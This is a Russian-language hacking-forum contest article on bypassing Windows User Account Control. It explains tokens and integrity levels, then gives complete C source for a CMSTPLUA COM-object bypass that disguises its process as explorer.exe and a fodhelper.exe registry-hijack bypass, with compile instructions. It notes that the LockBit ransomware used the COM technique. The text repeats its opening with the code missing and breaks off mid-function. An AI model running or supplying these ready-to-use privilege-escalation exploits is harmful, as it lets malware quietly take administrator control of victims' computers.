D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор voldemort
Статья написана для Конкурса статей #10
Прежде чем начать, поговорим о Токенах и Привилегиях в Windows Когда вы загружаете свой компьютер с Windows или подключаетесь к нему удаленно, происходит следующее:
UAC ?
Прежде всего, что такое UAC? Контроль учетных записей – это функция безопасности, реализованная в различных версиях Windows, начиная с Windows Vista в 2007 году и продолжающаяся в последующих версиях, таких как Windows 7, 8, 8.1 и 10, 11. Основная цель UAC – улучшить безопасность, предотвращая несанкционированные изменения в системе. UAC помогает снизить потенциальные риски, запрашивая согласие или учетные данные пользователя перед разрешением определенных программ или задач вносить системные изменения, которые могут повлиять на безопасность компьютера.
Когда приложение или процесс пытается выполнить действия, требующие административных прав, например, изменить системные настройки или установить программное обеспечение, UAC выводит диалоговое окно с запросом подтверждения или аутентификации. В зависимости от прав учетной записи пользователю может потребоваться ввести пароль администратора или просто подтвердить действие.
Процесс входа в систему в качестве локального администратора в Windows Vista и более поздних версиях похож на вход обычного пользователя, но с одним ключевым отличием: вместо возврата одного токена, возвращаются два. Один токен является фильтрованным, который предоставляет только пять привилегий и работает в режиме средней целостности. Другой - повышенный токен, предоставляющий все привилегии, необходимые для локального администратора, и работающий в режиме высокой целостности. При входе в систему Winlogon запускает пользовательский сеанс в Explorer.exe, используя фильтрованный токен. Однако, как администратор, вы можете выполнять действия с повышенным токеном в режиме высокой целостности.
Вот как это работает: вы входите в свой ПК и видите, что Explorer работает в режиме средней целостности с фильтрованным токеном. Если вы щелкнете правой кнопкой мыши на Командной строке и выберете "Запуск от имени администратора", вы подтвердите запрос UAC, и вуаля — теперь вы работаете в режиме высокой целостности со всеми необходимыми привилегиями.
Теперь, что же такое Режим целостности? Он был введен вместе с UAC и играет важную роль в безопасности Windows. Почти все объекты в Windows имеют режим целостности, включая процессы, файлы или каталоги. Например, корневой каталог C:\ имеет режим высокой целостности. Существует несколько уровней целостности, но мы сосредоточимся на наиболее распространенных - среднем и высоком. Общее правило заключается в том, что для изменения или взаимодействия с объектом вы должны иметь такой же или более высокий уровень целостности. Именно поэтому, когда вы входите в систему как обычный пользователь или локальный администратор, вы не можете просто перетащить файл в корневой каталог C:\ без подтверждения запроса UAC — потому что эта папка работает в режиме высокой целостности.
В современных версиях Windows поддерживаются следующие уровни целостности:
Если вы хотите узнать, какие COM-объекты в Windows вы можете использовать и какие доступны вам, вы можете посмотреть в реестре, в HKEY_CLASSES_ROOT\CLSID, где перечислены все доступные вам COM-объекты. Вы можете увидеть там все GUID, а справа вы видите DLL-библиотеки, которые с ними связаны, где фактически находятся COM-объекты, и у нас также есть подраздел с названием interface, который содержит все интерфейсы, которые вы можете использовать для общения с COM-объектами, то есть они содержат определения функций. В COM есть некоторые интересные вещи, он очень тесно работает с UAC, в Windows есть ключ реестра, который мы можем увидеть прямо здесь, который вы можете найти на своей машине Windows, он называется COMAutoApprovalList.
Этот механизм позволяет автоматически повышать привилегии определенных COM-объектов или специфических функций внутри COM-объектов, используя ваш повышенный токен вместо фильтрованного. Однако существует одно ограничение: вызывающая функция (клиент) должна быть действительным подписанным бинарным файлом от Microsoft. Как хакер, конечно, вы обычно этим не располагаете. Проверка того, является ли бинарный файл от Microsoft, довольно слабая. COM-объект использует Process Status API (PSAPI) для проверки вызывающего процесса, а PSAPI проверяет Process Environment Block (PEB) процесса для верификации пути к образу файла.
В Windows Process Environment Block - это область памяти, которую вы можете модифицировать в рамках своего собственного процесса. Вы можете изменить PEB своего процесса, чтобы он ссылался на путь к образу файла, изменяя его на что-то вроде explorer.exe. Это та проверка, которую выполняют COM-объекты, чтобы увидеть, действительно ли explorer.exe вызывает COM-объект. Манипулируя PEB таким образом, вы могли бы, например, Это позволило бы вам скопировать файл на диск C без необходимости подтверждать запрос UAC.
Теперь, хотя возможность копировать файл на диск C без UAC, безусловно, полезна, действительно ли это настолько серьезно? Могут быть другие COM-объекты, которые мы можем эксплуатировать более сложным способом. Например, LockBit несколько лет назад использовал COM-объект под названием cmstpLua, найденный в COMAutoApprovalList. cmstpLua расшифровывается как "Connection Manager Surface Transport Profile", это DLL, отвечающая за управление VPN-подключениями в Windows. Часть "Lua" означает "Limited User Account" (Учетная запись с ограниченными правами), которая теперь связана с User Account Control (UAC), указывая на то, что этот COM-объект может автоматически повышать привилегии.
В то время как копирование файлов является документированной функцией COM, cmstpLua и его аналог CMLua не документированы в Windows, что означает, что вы не можете легко обнаружить, какие функции вы можете вызывать с повышенными привилегиями, просто читая документацию. Так как же это работает? К счастью, Microsoft поставляет отладочные символы для каждой DLL в операционной системе Windows. Вы можете загрузить DLL в дизассемблер, например IDA Pro, и искать имя интерфейса, в данном случае cmlua.dll. В левой части дизассемблера вы увидите список всех функций, доступных в интерфейсе. Одна интересная функция - это ShellExec, которая принимает аргументы, передаваемые функции Windows API под названием ShellExecuteExW. Эта функция позволяет выполнять команды CMD или запускать процессы с определенными аргументами.
Спойлер: uacbypasscmstplua.c
C: Скопировать в буфер обмена
для компиляции кода выполните запуск:
Bash: Скопировать в буфер обмена
fodhelper.exe был введен в Windows 10 для управления дополнительными функциями, такими как настройки клавиатуры для определенных регионов. Он расположен по пути C:\Windows\System32\fodhelper.exe в директории System32. Этот файл имеет цифровую подпись от Microsoft, что гарантирует его подлинность и целостность.
fodhelper.exe разработан для автоматического запуска с повышенными привилегиями, так как имеет установленный флаг autoelevate. Это позволяет ему повысить уровень целостности с среднего (Medium) до высокого (High) без запроса UAC. Инструмент sigcheck показывает, что приложение предназначено для административных пользователей и требует полных административных прав. Функция autoelevate позволяет ему достичь более высоких привилегий без запроса одобрения администратора.
Запуск fodhelper.exe и захват его событий с помощью ProcMon.exe показывает, что он пытается запросить значение по умолчанию для раздела реестра HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command. Кроме того, он проверяет значение DelegateExecute по тому же пути в реестре (HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command).
Чтобы четко понять механизм эксплуатации, важно рассмотреть, как работает выполнение файлов. Для большей ясности давайте возьмем пример файла .html.
При двойном щелчке по файлу в Windows система определяет, какое приложение должно его открыть, основываясь на расширении файла (например, .html, .txt и т.д.). Информация, связывающая расширения файлов с соответствующими приложениями, хранится в реестре Windows, в частности, в ветке HKEY_CLASSES_ROOT.
Спойлер: fodhelper.c
C: Скопировать в буфер обмена
Давайте наконец проверим наш код.
Да! Сработало как и ожидалось, и появляется высокий привилегированный cmd.
аналогично предыдущим исполняемым файлам Windows. Во время запуска wsreset.exe проверяет значение реестра HKCU\Software\Classes\AppXdv25x4ndb8r51pbdf6srsknmbkfnkpaq\Shell\open\command на предмет команды для запуска. Двоичный файл будет выполнен как процесс высокой целостности без отображения пользователю запроса UAC.
Спойлер: wsreset.c
C: Скопировать в буфер обмена
Чтобы получить все исполняемые файлы, имеющие свойство auto elevate, вы можете ввести эту команду PowerShell в окне терминала.
Код: Скопировать в буфер обмена
И
Код: Скопировать в буфер обмена
Надеюсь, вам понравилась статья, хорошего дня.
Статья написана для Конкурса статей #10
Прежде чем начать, поговорим о Токенах и Привилегиях в Windows Когда вы загружаете свой компьютер с Windows или подключаетесь к нему удаленно, происходит следующее:
- Когда вы входите в Windows, процесс winlogon запускает logonUI.
- logonUI передает ваши учетные данные в winlogon, который затем передает их в LSASS (Локальная подсистема проверки подлинности).
- Если ваши учетные данные верны, LSASS создает для вас токен, содержащий ваш идентификатор пользователя, членство в группах и привилегии.
- Затем winlogon запускает userinit, используя ваш токен.
- userinit запускает explorer.exe, загружая ваш рабочий стол Windows.
- Токен содержит список привилегий, таких как SE_SHUTDOWN_PRIVILEGE и SE_LOAD_DRIVER_PRIVILEGE.
- Привилегии могут быть включены, отключены или отсутствовать.
UAC ?
Прежде всего, что такое UAC? Контроль учетных записей – это функция безопасности, реализованная в различных версиях Windows, начиная с Windows Vista в 2007 году и продолжающаяся в последующих версиях, таких как Windows 7, 8, 8.1 и 10, 11. Основная цель UAC – улучшить безопасность, предотвращая несанкционированные изменения в системе. UAC помогает снизить потенциальные риски, запрашивая согласие или учетные данные пользователя перед разрешением определенных программ или задач вносить системные изменения, которые могут повлиять на безопасность компьютера.
Когда приложение или процесс пытается выполнить действия, требующие административных прав, например, изменить системные настройки или установить программное обеспечение, UAC выводит диалоговое окно с запросом подтверждения или аутентификации. В зависимости от прав учетной записи пользователю может потребоваться ввести пароль администратора или просто подтвердить действие.
Процесс входа в систему в качестве локального администратора в Windows Vista и более поздних версиях похож на вход обычного пользователя, но с одним ключевым отличием: вместо возврата одного токена, возвращаются два. Один токен является фильтрованным, который предоставляет только пять привилегий и работает в режиме средней целостности. Другой - повышенный токен, предоставляющий все привилегии, необходимые для локального администратора, и работающий в режиме высокой целостности. При входе в систему Winlogon запускает пользовательский сеанс в Explorer.exe, используя фильтрованный токен. Однако, как администратор, вы можете выполнять действия с повышенным токеном в режиме высокой целостности.
Вот как это работает: вы входите в свой ПК и видите, что Explorer работает в режиме средней целостности с фильтрованным токеном. Если вы щелкнете правой кнопкой мыши на Командной строке и выберете "Запуск от имени администратора", вы подтвердите запрос UAC, и вуаля — теперь вы работаете в режиме высокой целостности со всеми необходимыми привилегиями.
Теперь, что же такое Режим целостности? Он был введен вместе с UAC и играет важную роль в безопасности Windows. Почти все объекты в Windows имеют режим целостности, включая процессы, файлы или каталоги. Например, корневой каталог C:\ имеет режим высокой целостности. Существует несколько уровней целостности, но мы сосредоточимся на наиболее распространенных - среднем и высоком. Общее правило заключается в том, что для изменения или взаимодействия с объектом вы должны иметь такой же или более высокий уровень целостности. Именно поэтому, когда вы входите в систему как обычный пользователь или локальный администратор, вы не можете просто перетащить файл в корневой каталог C:\ без подтверждения запроса UAC — потому что эта папка работает в режиме высокой целостности.
В современных версиях Windows поддерживаются следующие уровни целостности:
Числовой идентификатор | Название | Описание |
---|---|---|
0 | Untrusted | Используется редко, например в ходе анонимного подключения. |
4096 | Low | Назначается процессам браузеров или контейнеров, чтобы ограничить права на запись в отношения системных файлов или ключей реестра. |
8192 | Medium | По умолчанию назначается большинству процессов прикладных программ. |
8448 | Medium Plus | Недокументирован. |
12288 | High | Назначается процессам прикладных программ администратором. |
16384 | System | Автоматически назначается всем системным процессам. Процессам прикладных программ назначаться не может. |
20480 | Protected Process | Назначается специальным защищаемыми процессам |
Обход UAC трюк #1 (COM Objects).
COM - это компонентная архитектура, использующая клиент-серверную модель, которая позволяет выполнять форму межпроцессного взаимодействия, так что это похоже на HTTP API: у вас есть клиент, который общается с сервером через API, и вы перекладываете работу на сервер, но в основном это происходит на одной машине. Итак, у вас есть клиент, которым может быть ваша программа (client.exe), который вызывает COM-объект сервера, который может быть DLL-библиотекой, размещенной на машине. Эта форма коммуникации происходит напрямую, она также может происходить по сети на разных отдельных машинах - это называется DCOM (распределенный COM), и тогда при взаимодействии с COM-объектом, с сервером, это происходит через сеть посредством RPC. COM-объекты - это по сути классы с уникальными идентификаторами (GUID), и клиент запрашивает экземпляр COM-объекта, передавая GUID. После создания экземпляра объекта клиент может вызывать его методы.Если вы хотите узнать, какие COM-объекты в Windows вы можете использовать и какие доступны вам, вы можете посмотреть в реестре, в HKEY_CLASSES_ROOT\CLSID, где перечислены все доступные вам COM-объекты. Вы можете увидеть там все GUID, а справа вы видите DLL-библиотеки, которые с ними связаны, где фактически находятся COM-объекты, и у нас также есть подраздел с названием interface, который содержит все интерфейсы, которые вы можете использовать для общения с COM-объектами, то есть они содержат определения функций. В COM есть некоторые интересные вещи, он очень тесно работает с UAC, в Windows есть ключ реестра, который мы можем увидеть прямо здесь, который вы можете найти на своей машине Windows, он называется COMAutoApprovalList.
Этот механизм позволяет автоматически повышать привилегии определенных COM-объектов или специфических функций внутри COM-объектов, используя ваш повышенный токен вместо фильтрованного. Однако существует одно ограничение: вызывающая функция (клиент) должна быть действительным подписанным бинарным файлом от Microsoft. Как хакер, конечно, вы обычно этим не располагаете. Проверка того, является ли бинарный файл от Microsoft, довольно слабая. COM-объект использует Process Status API (PSAPI) для проверки вызывающего процесса, а PSAPI проверяет Process Environment Block (PEB) процесса для верификации пути к образу файла.
В Windows Process Environment Block - это область памяти, которую вы можете модифицировать в рамках своего собственного процесса. Вы можете изменить PEB своего процесса, чтобы он ссылался на путь к образу файла, изменяя его на что-то вроде explorer.exe. Это та проверка, которую выполняют COM-объекты, чтобы увидеть, действительно ли explorer.exe вызывает COM-объект. Манипулируя PEB таким образом, вы могли бы, например, Это позволило бы вам скопировать файл на диск C без необходимости подтверждать запрос UAC.
Теперь, хотя возможность копировать файл на диск C без UAC, безусловно, полезна, действительно ли это настолько серьезно? Могут быть другие COM-объекты, которые мы можем эксплуатировать более сложным способом. Например, LockBit несколько лет назад использовал COM-объект под названием cmstpLua, найденный в COMAutoApprovalList. cmstpLua расшифровывается как "Connection Manager Surface Transport Profile", это DLL, отвечающая за управление VPN-подключениями в Windows. Часть "Lua" означает "Limited User Account" (Учетная запись с ограниченными правами), которая теперь связана с User Account Control (UAC), указывая на то, что этот COM-объект может автоматически повышать привилегии.
В то время как копирование файлов является документированной функцией COM, cmstpLua и его аналог CMLua не документированы в Windows, что означает, что вы не можете легко обнаружить, какие функции вы можете вызывать с повышенными привилегиями, просто читая документацию. Так как же это работает? К счастью, Microsoft поставляет отладочные символы для каждой DLL в операционной системе Windows. Вы можете загрузить DLL в дизассемблер, например IDA Pro, и искать имя интерфейса, в данном случае cmlua.dll. В левой части дизассемблера вы увидите список всех функций, доступных в интерфейсе. Одна интересная функция - это ShellExec, которая принимает аргументы, передаваемые функции Windows API под названием ShellExecuteExW. Эта функция позволяет выполнять команды CMD или запускать процессы с определенными аргументами.
Спойлер: uacbypasscmstplua.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <windows.h>
#include <shobjidl.h>
#include <shlwapi.h>
#include <winuser.h>
#include <winternl.h>
#define COBJMACROS 1
#include <wuapi.h>
#pragma comment(lib, "uuid.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE* QueryInterface) (__RPC__in ICMLuaUtil* This, __RPC__in REFIID riid, _COM_Outptr_ void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef) (__RPC__in ICMLuaUtil* This);
ULONG(STDMETHODCALLTYPE* Release) ( __RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method1) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method2) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method3) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method4) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method5) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* Method6) (__RPC__in ICMLuaUtil* This);
HRESULT(STDMETHODCALLTYPE* ShellExec) (__RPC__in ICMLuaUtil* This, _In_ LPCTSTR lpFile, _In_opt_ LPCTSTR lpParameters, _In_opt_ LPCTSTR lpDirectory, _In_ ULONG fMask, _In_ ULONG nShow);
END_INTERFACE
} *PICMLuaUtilVtbl;
interface ICMLuaUtil {
CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};
wchar_t* ConvertToWideString(const char* str) {
int length = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0);
wchar_t* result = (wchar_t*) malloc(length * sizeof(wchar_t));
if (result) {
MultiByteToWideChar(CP_ACP, 0, str, -1, result, length);
}
return result;
}
void* NtGetPeb() {
#ifdef _M_X64
return (void*) __readgsqword(0x60);
#elif _M_IX86
return (void*) __readfsdword(0x30);
#else
#error "This architecture is currently unsupported"
#endif
}
int masqueradePEB() {
printf("\t- Defining local structs.\n");
/**
* Define local PEB LDR DATA
*/
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
/**
* Define local RTL USER PROCESS PARAMETERS
*/
typedef struct _RTL_USER_PROCESS_PARAMETERS {
BYTE Reserved1[16];
PVOID Reserved2[10];
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
/**
* Define partial local PEB
*/
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN SpareBits : 3;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
} PEB, * PPEB;
/**
* Define local LDR DATA TABLE ENTRY
*/
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
union
{
LIST_ENTRY InInitializationOrderLinks;
LIST_ENTRY InProgressLinks;
};
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef NTSTATUS(NTAPI* _RtlEnterCriticalSection) (PRTL_CRITICAL_SECTION CriticalSection);
typedef NTSTATUS(NTAPI* _RtlLeaveCriticalSection) (PRTL_CRITICAL_SECTION CriticalSection);
typedef void (WINAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
_RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlEnterCriticalSection");
if (RtlEnterCriticalSection == NULL) {
printf("Could not find RtlEnterCriticalSection.\n");
return 1;
}
_RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlLeaveCriticalSection");
if (RtlLeaveCriticalSection == NULL) {
printf("Could not find RtlLeaveCriticalSection.\n");
return 1;
}
_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlInitUnicodeString");
if (RtlInitUnicodeString == NULL) {
printf("Could not find RtlInitUnicodeString.\n");
return 1;
}
printf("\t- Getting 'explorer.exe' path.\n");
WCHAR chExplorerPath[MAX_PATH];
GetWindowsDirectoryW(chExplorerPath, MAX_PATH);
wcscat_s(chExplorerPath, sizeof(chExplorerPath) / sizeof(wchar_t), L"\\explorer.exe");
LPWSTR pwExplorerPath = (LPWSTR) malloc(MAX_PATH);
wcscpy_s(pwExplorerPath, MAX_PATH, chExplorerPath);
printf("\t- Getting current PEB.\n");
PEB* peb = (PEB*) NtGetPeb();
RtlEnterCriticalSection(peb->FastPebLock);
printf("\t- Masquerading ImagePathName and CommandLine.\n");
RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, chExplorerPath);
RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, chExplorerPath);
PLDR_DATA_TABLE_ENTRY pStartModuleInfo = (PLDR_DATA_TABLE_ENTRY) peb->Ldr->InLoadOrderModuleList.Flink;
PLDR_DATA_TABLE_ENTRY pNextModuleInfo = (PLDR_DATA_TABLE_ENTRY) peb->Ldr->InLoadOrderModuleList.Flink;
WCHAR wExeFileName[MAX_PATH];
GetModuleFileNameW(NULL, wExeFileName, MAX_PATH);
do {
if (_wcsicmp(wExeFileName, pNextModuleInfo->FullDllName.Buffer) == 0) {
printf("\t- Masquerading FullDllName and BaseDllName.\n");
RtlInitUnicodeString(&pNextModuleInfo->FullDllName, pwExplorerPath);
RtlInitUnicodeString(&pNextModuleInfo->BaseDllName, pwExplorerPath);
break;
}
pNextModuleInfo = (PLDR_DATA_TABLE_ENTRY) pNextModuleInfo->InLoadOrderLinks.Flink;
} while (pNextModuleInfo != pStartModuleInfo);
RtlLeaveCriticalSection(peb->FastPebLock);
return 0;
}
/**
* Launch the given program with arguments using the CMSTPLUA COM object.
*
* @param PCWSTR pszProgram The source file to copy.
* @param PCWSTR pszArguments The destination folder to copy the source file to.
* @return HRESULT If he operation succeeded.
*/
HRESULT ComUacBypass(PCWSTR pszProgram, PCWSTR pszArguments) {
HRESULT hResult;
ICMLuaUtil* pICMLuaUtil = NULL;
IID hIID_ICMLuaUtil;
IBindCtx* iBindContext = NULL;
IMoniker* iMoniker = NULL;
BIND_OPTS3 sBindingOpts;
// Initializing COM
hResult = CoInitialize(NULL);
if (FAILED(hResult)) {
printf("[!] Failed to run CoInitializeEx: 0x%X.\n", hResult);
goto CLEANUP_AND_RETURN;
}
if (IIDFromString(L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}", &hIID_ICMLuaUtil) != S_OK) {
puts("[!] Could not get IID from ICMLuaUtil GUID.");
goto CLEANUP_AND_RETURN;
}
// Bind the moniker to get the IFileOperation interface
RtlSecureZeroMemory(&sBindingOpts, sizeof(sBindingOpts));
sBindingOpts.cbStruct = sizeof(sBindingOpts);
sBindingOpts.dwClassContext = CLSCTX_LOCAL_SERVER;
hResult = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", (BIND_OPTS*) &sBindingOpts, &hIID_ICMLuaUtil, (void**) &pICMLuaUtil);
if (FAILED(hResult)) {
printf("[!] Failed to run CoGetObject: 0x%X.\n", hResult);
goto CLEANUP_AND_RETURN;
}
// Copy the actual file
hResult = pICMLuaUtil->lpVtbl->ShellExec(pICMLuaUtil, (LPSTR) pszProgram, (LPSTR) pszArguments, NULL, SEE_MASK_DEFAULT, SW_SHOW);
if (FAILED(hResult)) {
printf("[!] Failed to run ShellExec: 0x%X.\n", hResult);
goto CLEANUP_AND_RETURN;
}
puts("[+] Succesfully executed shell!");
CLEANUP_AND_RETURN:
if (pICMLuaUtil != NULL) pICMLuaUtil->lpVtbl->Release(pICMLuaUtil);
if (iMoniker != NULL) iMoniker->lpVtbl->Release(iMoniker);
if (iBindContext != NULL) iBindContext->lpVtbl->Release(iBindContext);
CoUninitialize();
RETURN:
return hResult;
}
void main(int argc, char** argv) {
puts("UACBypassCMSTPLUA v1.0!\n");
if (argc != 3) {
printf("[!] Usage: %s <program.exe> <arguments>\n", argv[0]);
return;
}
wchar_t* pszProgram = ConvertToWideString(argv[1]);
wchar_t* pszArguments = ConvertToWideString(argv[2]);
puts("[+] Trying to bypass UAC using the CMSTPLUA COM object.");
if (SUCCEEDED(masqueradePEB())) {
printf("[+] Successfully masqueraded PEB.\n");
} else {
printf("[+] Failed to masquerade PEB.\n");
}
if (SUCCEEDED(ComUacBypass(pszProgram, pszArguments))) {
printf("[+] Successfully launched %S %S\n", pszProgram, pszArguments);
} else {
printf("[+] Failed to launch %S %S\n", pszProgram, pszArguments);
}
}
для компиляции кода выполните запуск:
Bash: Скопировать в буфер обмена
gcc -o uacbypasscmstplua.exe main.c -lole32 -luuid -lshlwapi
Обход UAC трюк #2 (fodhelper.exe \ ComputerDefaults.exe).
Более того, наша цель как атакующих/пентестеров заключается в том, чтобы обойти это с целью повышения привилегий в целевой системе, поэтому прежде чем углубляться в то, как можно использовать fodhelper.exe. важно знать, как работают основы этой эксплуатации.fodhelper.exe был введен в Windows 10 для управления дополнительными функциями, такими как настройки клавиатуры для определенных регионов. Он расположен по пути C:\Windows\System32\fodhelper.exe в директории System32. Этот файл имеет цифровую подпись от Microsoft, что гарантирует его подлинность и целостность.
fodhelper.exe разработан для автоматического запуска с повышенными привилегиями, так как имеет установленный флаг autoelevate. Это позволяет ему повысить уровень целостности с среднего (Medium) до высокого (High) без запроса UAC. Инструмент sigcheck показывает, что приложение предназначено для административных пользователей и требует полных административных прав. Функция autoelevate позволяет ему достичь более высоких привилегий без запроса одобрения администратора.
Запуск fodhelper.exe и захват его событий с помощью ProcMon.exe показывает, что он пытается запросить значение по умолчанию для раздела реестра HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command. Кроме того, он проверяет значение DelegateExecute по тому же пути в реестре (HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command).
Чтобы четко понять механизм эксплуатации, важно рассмотреть, как работает выполнение файлов. Для большей ясности давайте возьмем пример файла .html.
При двойном щелчке по файлу в Windows система определяет, какое приложение должно его открыть, основываясь на расширении файла (например, .html, .txt и т.д.). Информация, связывающая расширения файлов с соответствующими приложениями, хранится в реестре Windows, в частности, в ветке HKEY_CLASSES_ROOT.
- Предположим, открывается файл .html; система проверяет расширение .html в ветке .html в HKEY_CLASSES_ROOT, чтобы найти его ProgID.
ProgID: Программный идентификатор (ProgID) - это строка, которая уникально идентифицирует определенную версию COM-класса, которым может быть приложение или компонент. Для файловых ассоциаций ProgID связывает расширение файла с приложением или компонентом, который должен его обрабатывать. Правильная структура имени ключа ProgID следует формату [Производитель или Приложение].[Компонент].[Версия], используя точки для разделения каждой части, без пробелов между ними. Примером может служить Word.Document.6.
Для HTML-файла ProgID является htmlfile, как показано на изображении ниже.
- После идентификации ProgID (html-файла) Windows ищет соответствующий ключ ProgID в разделе HKEY_CLASSES_ROOT.
- В ключе ProgID (HKEY_CLASSES_ROOT\htmlfile) обычно присутствует подраздел shell, который определяет действия, такие как открытие, редактирование и другие.
- Действие open typically имеет подраздел command, который указывает командную строку для открытия файла. Эта команда обычно указывает на исполняемый файл предпочтительного веб-браузера для html-файла
- В подразделе command может быть значение, такое как "C:\Program Files\Internet Explorer\iexplore.exe" "%1"
- Здесь %1 — это заполнитель для пути к файлу. Таким образом, когда открывается файл .html, система выполнит следующую команду, и файл HTML откроется в браузере. ("C:\Program Files\Internet Explorer\iexplore.exe" "C:\path\to\example.html")
Случай с fodhelper.exe
В случае с fodhelper.exe система выполняет запрос к HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\Command. Это происходит потому, что настройки в HKEY_CURRENT_USER\Software\Classes специфичны для текущего вошедшего пользователя и могут переопределять системные настройки. Например, если пользователь настроил открытие .html файлов в другом браузере, это предпочтение сохраняется в этом реестровом пути. В результате система проверяет это местоположение, чтобы выяснить, есть ли у пользователя какие-либо пользовательские команды для открытия exe файлов. Это позволяет fodhelper.exe выполнять команды с повышенными привилегиями на основе настроек, специфичных для пользователя.
Спойлер: fodhelper.c
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <windows.h>
#define MAX_PATH 260
//check if the process is running with elevated privileges
BOOL IsElevated(){
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)){
TOKEN_ELEVATION Elevation;
DWORD dwSize;
if(GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &dwSize)){
fRet = Elevation.TokenIsElevated;
}
}
if(hToken){
CloseHandle(hToken);
}
return fRet;
}
int elevate(){
// Registry path to be created
LPWSTR subkey = L"Software\\Classes\\ms-settings\\shell\\open\\command";
HKEY phkresult;
DWORD dwDisposition;
// Create the specified registry key
if (RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &phkresult, &dwDisposition) != ERROR_SUCCESS) {
printf("RegCreateKeyExW failed with error code %x\n", GetLastError());
return 1;
}
printf("The disposition is %x\n", dwDisposition);
LPSTR valueName = "DelegateExecute";
//get current full path of the current executable
char values[MAX_PATH];
GetModuleFileNameA(NULL, values, MAX_PATH);
printf("The path of the current executable is %s\n", values);
// Set the value for the default key
if (RegSetValueExA(phkresult, NULL, 0, REG_SZ, (const BYTE*)values, lstrlenA(values) + 1) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
// Set the value for the DelegateExecute key
if (RegSetValueExA(phkresult, valueName, 0, REG_SZ, NULL, 0) != ERROR_SUCCESS) {
printf("RegSetValueExA failed with error code %x\n", GetLastError());
RegCloseKey(phkresult);
return 1;
}
RegCloseKey(phkresult);
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
// Create a new process to run fodhelper.exe You can also use the ComputerDefaults.exe
if (!CreateProcessA(NULL, "cmd.exe /C fodhelper.exe", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("CreateProcessA failed with error code %x\n", GetLastError());
return 1;
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
int CleanUp(){
// Registry path to be created
LPWSTR subkey = L"Software\\Classes\\ms-settings\\shell\\open\\command";
HKEY phkresult;
DWORD dwDisposition;
// Create the specified registry key
